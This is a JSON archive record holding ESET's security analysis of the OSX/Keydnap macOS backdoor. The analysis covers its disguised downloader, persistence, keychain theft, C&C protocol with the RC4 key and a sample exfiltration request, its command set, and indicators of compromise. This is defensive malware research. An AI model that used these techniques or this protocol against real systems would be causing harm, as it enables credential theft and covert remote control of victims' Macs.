{
	"id": "f176d280-d87f-448b-9df5-96679abb0c68",
	"created_at": "2026-04-06T00:21:07.171268Z",
	"updated_at": "2026-04-10T03:20:00.583328Z",
	"deleted_at": null,
	"sha1_hash": "92e5ef964c8d16ee4d8213d014da32fff6c99720",
	"title": "New OSX/Keydnap malware is hungry for credentials",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2093112,
	"plain_text": "New OSX/Keydnap malware is hungry for credentials\r\nBy Marc-Etienne M.Léveillé\r\nArchived: 2026-04-05 13:07:53 UTC\r\nESET Research\r\nFor the last few weeks, ESET has been investigating OSX/Keydnap, a malware that steals the content of the keychain while\r\nmaintaining a permanent backdoor.\r\n06 Jul 2016  •  , 8 min. read\r\nESET analyzes multiple samples targeting OS X every day. Those samples are usually potentially unwanted\r\napplications that inject advertisements into browser displays while the victim is browsing the web.\r\nFor the last few weeks, we have been investigating an interesting case where the purpose of the malware is to steal the\r\ncontent of the keychain and maintain a permanent backdoor. This article will describe the components of this threat and\r\nwhat we know about it so far.\r\nInfection vector\r\nIt is still not clear how victims are initially exposed to OSX/Keydnap. It could be through attachments in spam messages,\r\ndownloads from untrusted websites or something else.\r\nWhat we know is that a downloader component is distributed in a .zip file. The archive file contains a Mach-O executable\r\nfile with an extension that looks benign, such as .txt or .jpg. However, the file extension actually contains a space character\r\nat the end, which means double-clicking the file in Finder will launch it in Terminal and not Preview or TextEdit.\r\nFigure 1: Finder window with the ZIP and the malicious \".jpg \" file\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 1 of 10\n\nFigure 2: The downloader’s file information window\r\nThe ZIP also contains the Resource fork that contains the icon of the executable file. It mimics the icon Finder usually\r\napplies to JPEG or text files to increase the likelihood the recipient will double-click the file. Once started, a Terminal\r\nwindow opens and the malicious payload is executed.\r\nFigure 3: Screen capture of the downloader executed on OS X El Capitan. Notice the Terminal icon shows for a fraction of a\r\nsecond before opening Preview.\r\nOSX/Keydnap downloader\r\nThe downloader is an unsigned Mach-O executable. Thus, if the file is downloaded from an internet browser and Gatekeeper\r\nis activated on the machine – the default in recent versions of OS X and macOS – it will not execute and display a warning\r\nto the user.\r\n0:00 / 0:07\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 2 of 10\n\nFigure 4: Message shown if ZIP file is downloaded from Safari\r\nKeydnap’s downloader is simple. It will:\r\n1. Download and execute the backdoor component\r\n2. Replace the content of the downloader Mach-O executable with a decoy, either using a base64-encoded embedded\r\nfile or by downloading it from the internet\r\n3. Open a decoy document (described later)\r\n4. Close the Terminal window that just opened\r\nThe decoy document replaces the downloader Mach-O file, which means the malicious executable is only present in the ZIP\r\nfile now. The downloader isn’t persistent. However, the downloaded backdoor will add an entry to the LaunchAgents\r\ndirectory and survive across reboot. It is described in more details in the backdoor section.\r\nWe have found multiple variants of the downloader executable. A list of different samples can be found at the end of the\r\narticle.\r\nInterestingly, we’ve seen recent samples embedding decoy documents that are screenshots of botnet C\u0026C panels or dumps\r\nof credit card numbers. This suggests that Keydnap may be targeting users of underground forums or maybe even security\r\nresearchers. Also included in recent variants is a \"build name\". We have seen three different names: elitef*ck, ccshop and\r\ntransmission.\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 3 of 10\n\nFigure 5: Example decoy image (1)\r\nFigure 5: Example decoy image (2)\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 4 of 10\n\nFigure 5: Example decoy image (3)\r\nOSX/Keydnap backdoor\r\nAll samples of the backdoor we have seen have the filename icloudsyncd. The malware has a version string that is reported\r\nto the C\u0026C server. So far, we have seen two versions: 1.3.1 first seen in May 2016 and 1.3.5 in June.\r\nObfuscation\r\nWhile the downloader module is not packed, the backdoor is packed with a modified version of UPX. Two modifications are\r\nmade to UPX version 3.91:\r\nThe magic bytes UPX! in the UPX header are replaced with ASS7,\r\nThe decompressed code and strings sections are XORed with 0x01. While self-decompressing, the XOR is applied\r\nafter decompression and before calling the main function of the original binary.\r\nFigure 6: Difference between a stock UPX packed file and the modified one\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 5 of 10\n\nA patch for UPX is available on ESET’s malware-research Github repository that allows unpacking Keydnap’s backdoor\r\nwith the usual upx -d.\r\nPersistence\r\nOnce started, the Keydnap backdoor installs a plist file in /Library/LaunchAgents/ if it has root privileges or\r\n$USER/Library/LaunchAgents/ otherwise to achieve persistence across reboots. The Library/Application\r\nSupport/com.apple.iCloud.sync.daemon directory is used to keep the icloudsyncd executable. This directory will also\r\ncontain the process id of the running malware in process.id and a \"build name\" (as it is called by the author) in build.id. With\r\nadministrator privileges, it will also change the owner of icloudsyncd to root:admin and make the executable setuid and\r\nsetgid, which means it will always run as root in the future.\r\nFigure 7: Property list file in LaunchAgents directory\r\nTo camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd –\r\nlaunchd netlogon.bundle. Here is an example of the result of ps ax on an infected system:\r\n$ ps ax\r\n[...]\r\n 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle\r\n[...]\r\nFigure 8: Result of ps ax on an infected system\r\nKeychain stealing\r\nThe OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X’s\r\nkeychain. The author simply took a proof-of-concept example available on Github called Keychaindump. It reads securityd’s\r\nmemory and searches for the decryption key for the user’s keychain. This process is described in a paper by K. Lee and H.\r\nKoo. One of the reasons we think the source was taken directly from Github is that the function names in the source code are\r\nthe same in the Keydnap malware.\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 6 of 10\n\nFigure 9: Function list of Keydnap backdoor. In green, functions from Keychaindump\r\nC\u0026C communication\r\nKeydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C\u0026C server. We’ve seen two onion\r\naddresses used in different samples:\r\ng5wcesdfjzne7255.onion (Down)\r\nr2elajikcosf7zee.onion (Alive at time of writing)\r\nThe HTTP resource always starts with /api/osx/ and contains actions such as:\r\n/api/osx/started to report the bot has just started\r\n/api/osx/keychain to exfiltrate the content of the keychain\r\n/api/osx/get_task?bot_id={botid}\u0026version={version} to request a task (described below)\r\n/api/osx/cmd_executed to report a the output of a command that was executed\r\n/api/osx/task_complete?bot_id={botid}\u0026task_id={taskid} to report a task was completed\r\nHTTP POST content has two fields: bot_id and data. The data field is encrypted with the RC4 key\r\n\"u2RLhh+!LGd9p8!ZtuKcN\" without quotes. When exfiltrating the keychain, the keychain field is used instead of data.\r\nPOST /api/osx/started HTTP/1.1\r\nHost: r2elajikcosf7zee.onion.to\r\nAccept: */*\r\nContent-Length: 233\r\nContent-Type: application/x-www-form-urlencoded\r\nbot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8\u0026data=psX0DKYB0u...5TximyY%2BQY%3D\r\nFigure 10: Malware sending initial information\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 7 of 10\n\n\u003e rc4decrypt(base64decode(\"psX0DKYB0u...5TximyY+QY=\"), \"u2RLhh+!LGd9p8!ZtuKcN\")\r\ndevice_model=MacBookPro9,2\r\nbot_version=1.3.5\r\nbuild_name=elitef*ck\r\nos_version=15.5.0\r\nip_address=4.5.6.7\r\nhas_root=0\r\nFigure 11: Decoded data sent to C\u0026C\r\nThe bot_id is constructed by hashing the following values with SHA-256:\r\n1. The hardware UUID (IOPlatformUUID)\r\n2. The system serial number (IOPlatformSerialNumber)\r\n3. The model identifier of the Mac (e.g.: MacBookPro9,2)\r\nMost actions are self-explanatory. The started command will send the following information to the C\u0026C:\r\ndevice_model: the model identifier (e.g.: MacBookPro9,2)\r\nbot_version: version of Keydnap\r\nbuild_name: the \"build name\" that was given by downloader\r\nos_version: OS X or macOS kernel version\r\nip_address: external IP address as reported by ipify.org\r\nhas_root: 1 if executed as root, 0 otherwise\r\nBackdoor commands\r\nThe response to get_task contains an integer to identify the type of command and optional arguments. The function named\r\nget_and_execute_tasks handles 10 different command types.\r\nCommand ID Description\r\n0 Uninstall Keydnap and quit\r\n1 Update the backdoor from a base64-encoded file\r\n2 Update the backdoor given a URL\r\n3 Decode and execute a base64-encoded file\r\n4 Decode and execute a base64-encoded Python script\r\n5 Download and execute a file from a URL\r\n6 Download and execute a Python script from a URL\r\n7 Execute a command and report the output back to the C\u0026C server\r\n8 Request administrator privileges the next time the user runs an application\r\n9 Decode and execute, or stop, a base64-encoded file calledauthd_service\r\nThe last two commands stand out. The command with ID 8 must be sent while Keydnap isn’t running as root already. When\r\nissued, the backdoor will start monitoring the user’s process count. When two new processes are created within two seconds,\r\nKeydnap will spawn a window asking for the user’s credentials, exactly like the one OS X users usually see when an\r\napplication requires admin privileges. If the victim falls for this and enters their credentials, the backdoor will henceforth run\r\nas root and the content of the victim’s keychain will be exfiltrated.\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 8 of 10\n\nFigure 12: Code performing the process count check\r\nFigure 13: icloudsyncd requesting privileges\r\nWe do not know what the authd_service executable managed by command ID 9 is, because we haven’t seen it used. It could\r\nbe a third stage malware deployed to certain targets of interest.\r\nConclusion\r\nThere are a few missing pieces to this puzzle. We do not know at this point how Keydnap is distributed. Nor do we know\r\nhow many victims there are out there.\r\nAlthough there are multiple security mechanisms in place in OS X to mitigate malware, it’s possible to deceive the user into\r\nexecuting non-sandboxed malicious code by replacing the icon of a Mach-O file.\r\nIoCs\r\nSamples\r\nDownloader\r\nAll downloaders listed below are detected as OSX/TrojanDownloader.Keydnap.A by ESET products.\r\nSHA-1 Filename\r\nFirst seen\r\non\r\nVirusTotal\r\nBackdoor download URL Decoy de\r\n07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 \"info_list.txt \" 2016-05-\r\n09\r\nhxxp://dev.aneros.com/media/icloudsyncd\r\n\"Most Co\r\nQuestions\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 9 of 10\n\nSHA-1 Filename\r\nFirst seen\r\non\r\nVirusTotal\r\nBackdoor download URL Decoy de\r\n78ba1152ef3883e63f10c3a85cbf00f2bb305a6a\r\n\"screenshot_2016-\r\n06-28-01.jpg \"\r\n2016-06-\r\n28\r\nhxxp://freesafesoft.com/icloudsyncd\r\nBlackHat-screensho\r\n773a82343367b3d09965f6f09cc9887e7f8f01bf \"screenshot.jpg \" 2016-05-\r\n07\r\nhxxp://dev.aneros.com/media/icloudsyncd Firefox 20\r\ndfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c \"CVdetails.doc \" 2016-05-\r\n03\r\nhxxp://lovefromscratch.ca/wp-admin/css/icloudsyncdhxxp://lov\r\nadmin/CV\r\n2739170ed195ff1b9f00c44502a21b5613d08a58 \"CVdetails.doc \" 2016-05-\r\n03\r\nhxxp://lovefromscratch.ca/wp-admin/css/icloudsyncdhxxp://lov\r\nadmin/CV\r\ne9d4523d9116b3190f2068b1be10229e96f21729 \"logo.jpg \" 2016-06-\r\n02\r\nhxxp://dev.aneros.com/media/icloudsyncd sanelite lo\r\n7472102922f91a78268430510eced1059eef1770\r\n\"screenshot_9324\r\n2.jpg \"\r\n2016-06-\r\n28\r\nhxxp://freesafesoft.com/icloudsyncd Some C\u0026\r\nBackdoor\r\nSHA-1\r\nESET Detection\r\nname\r\nC\u0026C Version\r\na4bc56f5ddbe006c9a68422a7132ad782c1aeb7b OSX/Keydnap.A hxxps://g5wcesdfjzne7255.onion.to 1.3.1\r\nabf99129e0682d2fa40c30a1a1ad9e0c701e14a4 OSX/Keydnap.A hxxps://r2elajikcosf7zee.onion.to 1.3.5\r\nBackdoor C\u0026C servers\r\nhxxps://g5wcesdfjzne7255.onion.to/\r\nhxxps://r2elajikcosf7zee.onion.to/\r\nKeydnap’s IoCs are also available and updated on ESET’s malware-ioc Github repository.\r\nSource: http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nhttp://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
	],
	"report_names": [
		"new-osxkeydnap-malware-hungry-credentials"
	],
	"threat_actors": [],
	"ts_created_at": 1775434867,
	"ts_updated_at": 1775791200,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/92e5ef964c8d16ee4d8213d014da32fff6c99720.pdf",
		"text": "https://archive.orkl.eu/92e5ef964c8d16ee4d8213d014da32fff6c99720.txt",
		"img": "https://archive.orkl.eu/92e5ef964c8d16ee4d8213d014da32fff6c99720.jpg"
	}
}